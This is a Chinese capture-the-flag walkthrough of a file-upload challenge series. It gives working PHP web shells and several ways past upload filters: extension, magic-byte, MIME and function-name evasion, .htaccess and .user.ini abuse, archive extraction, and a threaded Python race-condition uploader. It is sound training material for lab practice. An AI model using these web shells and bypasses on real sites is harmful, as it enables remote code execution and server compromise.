ezfu(简单的文件上传)
ezfu_2
<?php system($_GET['cmd']); ?>
我们先尝试上传一句话木马

发现文件类型不允许

当我们对常见的后缀名进行爆破时,发现phtml的时候上传成功了


之后我们用get方法传入命令

在环境中发现flag
ezfu_3

文件头错误
GIF89a
<?php system($_GET['cmd']); ?>
填上gif的文件头,还是需要把phtml加上,就可以上传成功


还是在环境里面
ezfu_4

不让出现php的标签开头
我们使用短标签绕过
GIF89a
<?= system($_GET['cmd']); ?>

当我们把后缀改成phtml的时候发现MIME Type错误
服务器认为 application/octet-stream(二进制流)或 .phtml 后缀是不被允许的“非图片”类型。

将第 15 行的: Content-Type: application/octet-stream 修改为: Content-Type: image/jpeg
之后发现上传成功

详细知识点:
1. 什么是 MIME Type?
MIME Type (Multipurpose Internet Mail Extensions) 是一种标准,用来标识互联网上数据的格式和内容类型。
-
它的形式: 通常由
类型/子类型组成。-
text/html(网页) -
image/jpeg(图片) -
application/octet-stream(二进制数据,浏览器不知道具体格式时通常用这个)
-
-
它的作用: 浏览器通过这个类型来决定如何处理文件(比如是用图片查看器打开,还是弹窗下载,还是作为网页渲染)。
2. 为什么后缀和头部都要改?(两者的关系)
在文件上传的功能中,服务器端通常会进行多重校验,后缀名和 MIME Type 是两道不同的“门岗”。
第一道门岗:文件名校验(后缀)
-
检查内容: 服务器通常会读取你上传文件的文件名(例如
short.php),判断它的后缀是否在“白名单”里(如.jpg,.png)。 -
你的问题: 你把后缀改成了
.phtml。如果服务器的逻辑仅仅是“不允许.php”,那么你确实绕过了这一关。
第二道门岗:内容类型校验(头部/MIME Type)
-
检查内容: 当你点击“上传”时,浏览器不仅会发送文件名,还会附带一个
Content-Type的头部信息。 -
服务器逻辑: 很多后端代码(如 PHP 的
$_FILES['file']['type'])会查看这个由浏览器发送过来的Content-Type。如果它发现Content-Type是application/octet-stream或application/x-httpd-php,而服务器的设置是“只允许图片上传”,它就会直接判定“非法类型”并拒绝。
3. 为什么修改后缀还不够?
后缀名是“名称”,而 MIME Type 是“声明”。
-
你把名字改成
.phtml骗过了文件名检查,但你上传请求里自带的“声明”(Content-Type)依然写着它是二进制代码或 PHP 脚本,服务器一旦看到这个声明不符合图片格式,就会为了安全直接拒绝你的请求。
总结来说:
-
修改文件名是告诉服务器:“这看起来像个合法的文件”。
-
修改
Content-Type头部是告诉服务器:“这确实是个图片文件,请放行”。
ezfu_5

和4的思路一样
ezfu_6

和前面一样的操作,结果说我们有危险的函数
GIF89a
<? $a="sys"."tem"; $a($_GET['cmd']); ?>


ezfu_7
我们发现服务器是Apache
尝试上传 .htaccess 文件
AddType application/x-httpd-php .png
.png 文件现在能被当作 PHP 执行了



ezfu_8
服务器又变成了Nginx
我们先上传png文件

上传之后我们上传.user.ini内容为
auto_prepend_file=1.png

然后等个5分钟吧
.user.ini 并不是实时生效的。PHP 为了性能考虑,会将配置文件读取并缓存。
-
缓存机制: PHP 在内存中保存了
user.ini的配置,并且会周期性地检查文件是否有更新。 -
默认延迟: 这个检查周期由
user_ini.cache_ttl决定,默认通常是 300 秒(即 5 分钟)。 -
生效标志: 只有当缓存过期并重新读取了你的
.user.ini,PHP 引擎才会意识到它应该在处理index.php之前先包含你的1.png。
每一两分钟访问一次index

ezfu_9

得到密码

截图中的功能叫“备份恢复”。为了支持此功能,服务器后端必然调用了类似 tar、bzip2 或 unzip 的解压函数。当你上传了一个 .bz2 压缩包,服务器后端执行“恢复”操作时,它会解压这个文件。如果这个压缩包里包含一个 shell.php,那么解压完成后,服务器的磁盘上就会凭空多出一个 shell.php 文件。

我们用7-zip把之前的脚本压缩一下


ezfu_10
密码爆破出来是123456

和以前一样,改成phtml就行了
注意:我们要在url上面先输入参数,再上传


ezfu_11
我们上传文件发现被很快删除了
于是可以让bp不停发送包

然后访问这个地址

得到flag

ezfu_12


每次上传的地址都在变化,服务器把它重命名成了一长串随机字符
脚本条件竞争一下
import requests
import threading
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
# !!!注意修改为你当前的最新端口!!!
BASE_URL = "http://docker.qingcen.net:47328/"
PAYLOAD = b"<?php system('cat /flag');?>"
# 用于在找到 flag 后通知所有线程停止
STOP_EVENT = threading.Event()
# 预编译正则,提高匹配速度。防止页面混杂 HTML 报错导致 startswith 匹配失败
FLAG_PATTERN = re.compile(r'flag\{.*?\}')
def worker():
# 每个线程使用一个独立的 Session 保持长连接 (Keep-Alive),极大地提高发包速度
with requests.Session() as session:
while not STOP_EVENT.is_set():
try:
# 1. 疯狂发送上传请求
res_upload = session.post(
f"{BASE_URL}/",
files={"image": ("shell.php", PAYLOAD, "application/x-php")},
timeout=5 # 高并发下服务器响应会变慢,适当调高 timeout 防止漏掉成功响应
)
# 尝试解析 JSON 获取路径
data = res_upload.json()
path = data.get("file_url")
if not path:
continue
# 2. 瞬间发起访问请求 (条件竞争核心:拼手速)
target_url = f"{BASE_URL}/{path.lstrip('/')}"
res_cmd = session.get(target_url, timeout=5)
# 3. 使用正则提取 flag
match = FLAG_PATTERN.search(res_cmd.text)
if match:
STOP_EVENT.set() # 找到了!打出停止信号,叫停其他兄弟线程
return match.group(0)
except requests.RequestException:
# 忽略网络超时或连接错误,不要中断循环
pass
except ValueError:
# 忽略 JSON 解析错误 (高并发下服务器可能会 502/500 返回 HTML 报错页面)
pass
return None
def main():
threads_count = 30 # 线程数。20~30 比较适合一般的 Docker 靶机,太高容易把靶机打死 (502 Bad Gateway)
print(f"[*] 启动条件竞争,并发线程数: {threads_count}...")
print(f"[*] 目标地址: {BASE_URL}")
print("[*] 正在疯狂发包与服务器抢时间,请耐心等待...")
print("[!] (如果长时间无反应或报错,可能是靶机已被高并发打宕机,请尝试在平台重启容器)\n")
with ThreadPoolExecutor(max_workers=threads_count) as pool:
# 批量提交任务
futures = [pool.submit(worker) for _ in range(threads_count)]
# 只要有一个线程返回了结果(且不为 None),就打印并结束
for future in as_completed(futures):
flag = future.result()
if flag:
print(f"\n[+] 🎉 恭喜!竞争成功!获取到 Flag: \n{flag}\n")
# 因为 STOP_EVENT 已经被设置,其余在后台的线程会自行感知并平滑退出
break
if __name__ == "__main__":
main()
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)